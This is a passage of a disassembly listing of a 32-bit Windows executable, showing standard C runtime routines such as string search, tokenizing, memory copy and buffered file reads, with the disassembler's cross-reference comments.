; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D5A0+3Dj
		lea	edi, [ecx-4]

loc_40D605:				; CODE XREF: sub_40D590+5j
					; sub_40D5A0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40D62E

loc_40D611:				; CODE XREF: sub_40D5A0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_40D680
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_40D611
		jmp	short loc_40D62E
; ---------------------------------------------------------------------------

loc_40D629:				; CODE XREF: sub_40D5A0+A6j
					; sub_40D5A0+C0j
		mov	[edi], edx
		add	edi, 4

loc_40D62E:				; CODE XREF: sub_40D5A0+6Fj
					; sub_40D5A0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D629
		test	dl, dl
		jz	short loc_40D680
		test	dh, dh
		jz	short loc_40D677
		test	edx, 0FF0000h
		jz	short loc_40D66A
		test	edx, 0FF000000h
		jz	short loc_40D662
		jmp	short loc_40D629
; ---------------------------------------------------------------------------

loc_40D662:				; CODE XREF: sub_40D5A0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D66A:				; CODE XREF: sub_40D5A0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D5A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D680:				; CODE XREF: sub_40D5A0+78j
					; sub_40D5A0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40D5A0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40D6A0

loc_40D690:				; CODE XREF: sub_40D6A0+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40D6A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D6A0	proc near		; CODE XREF: sub_403249+191p
					; sub_403249+1ADp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040D690 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_40D6A6:				; CODE XREF: sub_40D500+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40D6CD

loc_40D6B8:				; CODE XREF: sub_40D6A0+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_40D690
		test	cl, cl
		jz	short loc_40D716
		test	edx, 3
		jnz	short loc_40D6B8

loc_40D6CD:				; CODE XREF: sub_40D6A0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_40D6D8:				; CODE XREF: sub_40D6A0+63j
					; sub_40D6A0+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40D71A
		and	eax, 81010100h
		jz	short loc_40D6D8
		and	eax, 1010100h
		jnz	short loc_40D714
		and	esi, 80000000h
		jnz	short loc_40D6D8

loc_40D714:				; CODE XREF: sub_40D6A0+6Aj
					; sub_40D6A0+83j ...
		pop	esi
		pop	edi

loc_40D716:				; CODE XREF: sub_40D6A0+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40D71A:				; CODE XREF: sub_40D6A0+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40D757
		test	al, al
		jz	short loc_40D714
		cmp	ah, bl
		jz	short loc_40D750
		test	ah, ah
		jz	short loc_40D714
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40D749
		test	al, al
		jz	short loc_40D714
		cmp	ah, bl
		jz	short loc_40D742
		test	ah, ah
		jz	short loc_40D714
		jmp	short loc_40D6D8
; ---------------------------------------------------------------------------

loc_40D742:				; CODE XREF: sub_40D6A0+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40D749:				; CODE XREF: sub_40D6A0+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40D750:				; CODE XREF: sub_40D6A0+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40D757:				; CODE XREF: sub_40D6A0+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40D6A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D75E	proc near		; CODE XREF: sub_403718+36p
					; sub_403718+43p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2C], eax
		call	sub_40F39E
		push	8
		pop	ecx
		mov	[ebp+var_28], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi

loc_40D78F:				; CODE XREF: sub_40D75E+4Aj
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_40D78F
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_40D7BE
		mov	eax, [ebp+var_28]
		mov	edx, [eax+18h]
		jmp	short loc_40D7BE
; ---------------------------------------------------------------------------

loc_40D7B9:				; CODE XREF: sub_40D75E+77j
		test	al, al
		jz	short loc_40D7D7
		inc	edx

loc_40D7BE:				; CODE XREF: sub_40D75E+51j
					; sub_40D75E+59j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_40D7B9

loc_40D7D7:				; CODE XREF: sub_40D75E+5Dj
		mov	ebx, edx
		jmp	short loc_40D7F3
; ---------------------------------------------------------------------------

loc_40D7DB:				; CODE XREF: sub_40D75E+98j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_40D7FA
		inc	edx

loc_40D7F3:				; CODE XREF: sub_40D75E+7Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_40D7DB
		jmp	short loc_40D7FE
; ---------------------------------------------------------------------------

loc_40D7FA:				; CODE XREF: sub_40D75E+92j
		mov	byte ptr [edx],	0
		inc	edx

loc_40D7FE:				; CODE XREF: sub_40D75E+9Aj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, ebx
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_40D75E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D820	proc near		; CODE XREF: sub_40393C+F6p
					; sub_405299+82p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40D840
		cmp	edi, eax
		jb	loc_40D9E4

loc_40D840:				; CODE XREF: sub_40D820+16j
		cmp	ecx, 100h
		jb	short loc_40D867
		cmp	dword_434D40, 0
		jz	short loc_40D867
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_40D867
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_413921
; ---------------------------------------------------------------------------

loc_40D867:				; CODE XREF: sub_40D820+26j
					; sub_40D820+2Fj ...
		test	edi, 3
		jnz	short loc_40D884
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40D8A4
		rep movsd
		jmp	ds:off_40D994[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40D884:				; CODE XREF: sub_40D820+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40D89C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_40D8A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_40D89C:				; CODE XREF: sub_40D820+6Ej
		jmp	dword ptr ds:loc_40D9A4[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40D8A4:				; CODE XREF: sub_40D820+58j
					; sub_40D820+B6j ...
		jmp	ds:off_40D928[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40D8B8
		dd offset loc_40D8E4
		dd offset loc_40D908
; ---------------------------------------------------------------------------

loc_40D8B8:				; DATA XREF: sub_40D820+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40D8A4
		rep movsd
		jmp	ds:off_40D994[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40D8E4:				; DATA XREF: sub_40D820+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40D8A4
		rep movsd
		jmp	ds:off_40D994[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40D908:				; DATA XREF: sub_40D820+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40D8A4
		rep movsd
		jmp	ds:off_40D994[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40D928	dd offset loc_40D98B	; DATA XREF: sub_40D820:loc_40D8A4r
		dd offset loc_40D978
		dd offset loc_40D970
		dd offset loc_40D968
		dd offset loc_40D960
		dd offset loc_40D958
		dd offset loc_40D950
		dd offset loc_40D948
; ---------------------------------------------------------------------------

loc_40D948:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_40D950:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_40D958:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_40D960:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_40D968:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_40D970:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_40D978:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40D98B:				; CODE XREF: sub_40D820:loc_40D8A4j
					; DATA XREF: sub_40D820:off_40D928o
		jmp	ds:off_40D994[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40D994	dd offset loc_40D9A4	; DATA XREF: sub_40D820+5Cr
					; sub_40D820+BAr ...
		dd offset loc_40D9AC
		dd offset loc_40D9B8
		dd offset loc_40D9CC
; ---------------------------------------------------------------------------

loc_40D9A4:				; CODE XREF: sub_40D820+5Cj
					; sub_40D820+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40D9AC:				; CODE XREF: sub_40D820+5Cj
					; sub_40D820+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40D9B8:				; CODE XREF: sub_40D820+5Cj
					; sub_40D820+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40D9CC:				; CODE XREF: sub_40D820+5Cj
					; sub_40D820+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40D9E4:				; CODE XREF: sub_40D820+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40DA18
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40DA0C
		std
		rep movsd
		cld
		jmp	ds:off_40DB30[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40DA0C:				; CODE XREF: sub_40D820+1DDj
					; sub_40D820+238j ...
		neg	ecx
		jmp	dword ptr ds:loc_40DADF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40DA18:				; CODE XREF: sub_40D820+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40DA30
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_40DA30+4[eax*4]
; ---------------------------------------------------------------------------

loc_40DA30:				; CODE XREF: sub_40D820+202j
					; DATA XREF: sub_40D820+209r
		jmp	ds:off_40DB30[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40DA44
; ---------------------------------------------------------------------------
		push	900040DAh
		fiadd	dword ptr [eax+0]

loc_40DA44:				; DATA XREF: sub_40D820+218o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40DA0C
		std
		rep movsd
		cld
		jmp	ds:off_40DB30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40DA0C
		std
		rep movsd
		cld
		jmp	ds:off_40DB30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40DA0C
		std
		rep movsd
		cld
		jmp	ds:off_40DB30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40DAE4
		dd offset loc_40DAEC
		dd offset loc_40DAF4
; ---------------------------------------------------------------------------
		cld
		fiadd	dword ptr [eax+0]
		add	al, 0DBh
		inc	eax
		add	[ebx+ebx*8], cl
		inc	eax
		add	[ebx+ebx*8], dl
		inc	eax

loc_40DADF:				; DATA XREF: sub_40D820+1EEr
		add	[edi], ah
		fild	dword ptr [eax+0]

loc_40DAE4:				; DATA XREF: sub_40D820+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_40DAEC:				; DATA XREF: sub_40D820+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_40DAF4:				; DATA XREF: sub_40D820+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40DB27:				; CODE XREF: sub_40D820+1EEj
		jmp	ds:off_40DB30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40DB30	dd offset loc_40DB40	; DATA XREF: sub_40D820+1E3r
					; sub_40D820:loc_40DA30r ...
		dd offset loc_40DB48
		dd offset loc_40DB58
		dd offset loc_40DB6C
; ---------------------------------------------------------------------------

loc_40DB40:				; CODE XREF: sub_40D820+1E3j
					; sub_40D820:loc_40DA30j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40DB48:				; CODE XREF: sub_40D820+1E3j
					; sub_40D820:loc_40DA30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40DB58:				; CODE XREF: sub_40D820+1E3j
					; sub_40D820:loc_40DA30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40DB6C:				; CODE XREF: sub_40D820+1E3j
					; sub_40D820:loc_40DA30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40D820	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB85	proc near		; CODE XREF: sub_407FE4+6Cp
					; sub_407FE4+15Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_40DBAC
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBAC:				; CODE XREF: sub_40DB85+9j
		mov	eax, [eax+0Ch]
		and	eax, 10h
		pop	esi
		retn
sub_40DB85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBB4	proc near		; CODE XREF: sub_40DD4A+A1p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		jz	loc_40DD04
		cmp	[ebp+arg_C], 0
		jz	loc_40DD04
		imul	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_10]
		test	word ptr [esi+0Ch], 10Ch
		mov	[ebp+var_10], edi
		mov	ebx, edi
		jz	short loc_40DBFA
		mov	eax, [esi+18h]
		mov	[ebp+var_C], eax
		jmp	short loc_40DC01
; ---------------------------------------------------------------------------

loc_40DBFA:				; CODE XREF: sub_40DBB4+3Cj
		mov	[ebp+var_C], 1000h

loc_40DC01:				; CODE XREF: sub_40DBB4+44j
		test	edi, edi
		jz	loc_40DCD0

loc_40DC09:				; CODE XREF: sub_40DBB4+116j
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40DC52
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40DC52
		jl	loc_40DD35
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_40DC26
		mov	edi, eax

loc_40DC26:				; CODE XREF: sub_40DBB4+6Ej
		cmp	edi, [ebp+var_4]
		ja	loc_40DCD5
		push	edi
		push	dword ptr [esi]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_40CB41
		sub	[esi+4], edi
		add	[esi], edi
		add	[ebp+var_8], edi
		sub	ebx, edi
		add	esp, 10h
		sub	[ebp+var_4], edi
		mov	edi, [ebp+var_10]
		jmp	short loc_40DCC8
; ---------------------------------------------------------------------------

loc_40DC52:				; CODE XREF: sub_40DBB4+5Bj
					; sub_40DBB4+62j
		cmp	ebx, [ebp+var_C]
		jb	short loc_40DCA0
		cmp	[ebp+var_C], 0
		mov	eax, ebx
		jz	short loc_40DC68
		xor	edx, edx
		div	[ebp+var_C]
		mov	eax, ebx
		sub	eax, edx

loc_40DC68:				; CODE XREF: sub_40DBB4+A9j
		cmp	eax, [ebp+var_4]
		ja	loc_40DD0B
		push	eax
		push	[ebp+var_8]
		push	esi
		call	sub_4126A4
		pop	ecx
		push	eax
		call	sub_4140C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DD44
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD35
		add	[ebp+var_8], eax
		sub	ebx, eax
		sub	[ebp+var_4], eax
		jmp	short loc_40DCC8
; ---------------------------------------------------------------------------

loc_40DCA0:				; CODE XREF: sub_40DBB4+A1j
		push	esi
		call	sub_413A04
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_40DD39
		cmp	[ebp+var_4], 0
		jz	short loc_40DD0B
		mov	ecx, [ebp+var_8]
		inc	[ebp+var_8]
		mov	[ecx], al
		mov	eax, [esi+18h]
		dec	ebx
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax

loc_40DCC8:				; CODE XREF: sub_40DBB4+9Cj
					; sub_40DBB4+EAj
		test	ebx, ebx
		jnz	loc_40DC09

loc_40DCD0:				; CODE XREF: sub_40DBB4+4Fj
		mov	eax, [ebp+arg_C]
		jmp	short loc_40DD06
; ---------------------------------------------------------------------------

loc_40DCD5:				; CODE XREF: sub_40DBB4+75j
		xor	esi, esi
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40DCEC
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40C6F0
		add	esp, 0Ch

loc_40DCEC:				; CODE XREF: sub_40DBB4+127j
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 22h
		push	esi

loc_40DCFC:				; CODE XREF: sub_40DBB4+17Fj
		call	sub_40CB08
		add	esp, 14h

loc_40DD04:				; CODE XREF: sub_40DBB4+1Aj
					; sub_40DBB4+24j
		xor	eax, eax

loc_40DD06:				; CODE XREF: sub_40DBB4+11Fj
					; sub_40DBB4+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40DD0B:				; CODE XREF: sub_40DBB4+B7j
					; sub_40DBB4+100j
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40DD21
		push	[ebp+arg_4]
		push	0
		push	[ebp+arg_0]
		call	sub_40C6F0
		add	esp, 0Ch

loc_40DD21:				; CODE XREF: sub_40DBB4+15Bj
		call	sub_40F7D4
		mov	dword ptr [eax], 22h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	short loc_40DCFC
; ---------------------------------------------------------------------------

loc_40DD35:				; CODE XREF: sub_40DBB4+64j
					; sub_40DBB4+DCj
		or	dword ptr [esi+0Ch], 20h

loc_40DD39:				; CODE XREF: sub_40DBB4+F6j
					; sub_40DBB4+194j
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_8]
		jmp	short loc_40DD06
; ---------------------------------------------------------------------------

loc_40DD44:				; CODE XREF: sub_40DBB4+D3j
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_40DD39
sub_40DBB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD4A	proc near		; CODE XREF: sub_40DE11+12p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	0Ch
		push	offset dword_4219C0
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		mov	ebx, [ebp+arg_8]
		cmp	ebx, esi
		jz	short loc_40DD8D
		mov	edi, [ebp+arg_C]
		cmp	edi, esi
		jz	short loc_40DD8D
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_40DD95

loc_40DD75:				; CODE XREF: sub_40DD4A+7Aj
					; sub_40DD4A+88j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CB08
		add	esp, 14h

loc_40DD8D:				; CODE XREF: sub_40DD4A+16j
					; sub_40DD4A+1Dj
		xor	eax, eax

loc_40DD8F:				; CODE XREF: sub_40DD4A+BBj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40DD95:				; CODE XREF: sub_40DD4A+29j
		cmp	[ebp+arg_10], esi
		jz	short loc_40DDA5
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	edi, eax
		jbe	short loc_40DDD4

loc_40DDA5:				; CODE XREF: sub_40DD4A+4Ej
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40DDBA
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40C6F0
		add	esp, 0Ch

loc_40DDBA:				; CODE XREF: sub_40DD4A+5Fj
		xor	eax, eax
		cmp	[ebp+arg_10], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_40DD75
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	eax, edi
		sbb	eax, eax
		inc	eax
		jz	short loc_40DD75

loc_40DDD4:				; CODE XREF: sub_40DD4A+59j
		push	[ebp+arg_10]
		call	sub_411DE0
		pop	ecx
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_10]
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DBB4
		add	esp, 14h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DE07
		mov	eax, [ebp+var_1C]
		jmp	short loc_40DD8F
sub_40DD4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE07	proc near		; CODE XREF: sub_40DD4A+B3p
					; DATA XREF: r69pu5ti:004219D8o
		push	dword ptr [ebp+18h]
		call	sub_411E32
		pop	ecx
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE11	proc near		; CODE XREF: sub_407FE4+D8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	0FFFFFFFFh
		push	[esp+10h+arg_0]
		call	sub_40DD4A
		add	esp, 14h
		retn
sub_40DE11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE2C	proc near		; CODE XREF: sub_40DE3Dj
					; sub_419DC4+35p

arg_0		= dword	ptr  4

		push	0Ah
		push	0
		push	[esp+8+arg_0]
		call	sub_4143CD
		add	esp, 0Ch
		retn
sub_40DE2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DE3D	proc near		; CODE XREF: sub_408B28+192p
					; .text:00409EBCp ...
		jmp	sub_40DE2C
sub_40DE3D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DE50	proc near		; CODE XREF: .text:00409800p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
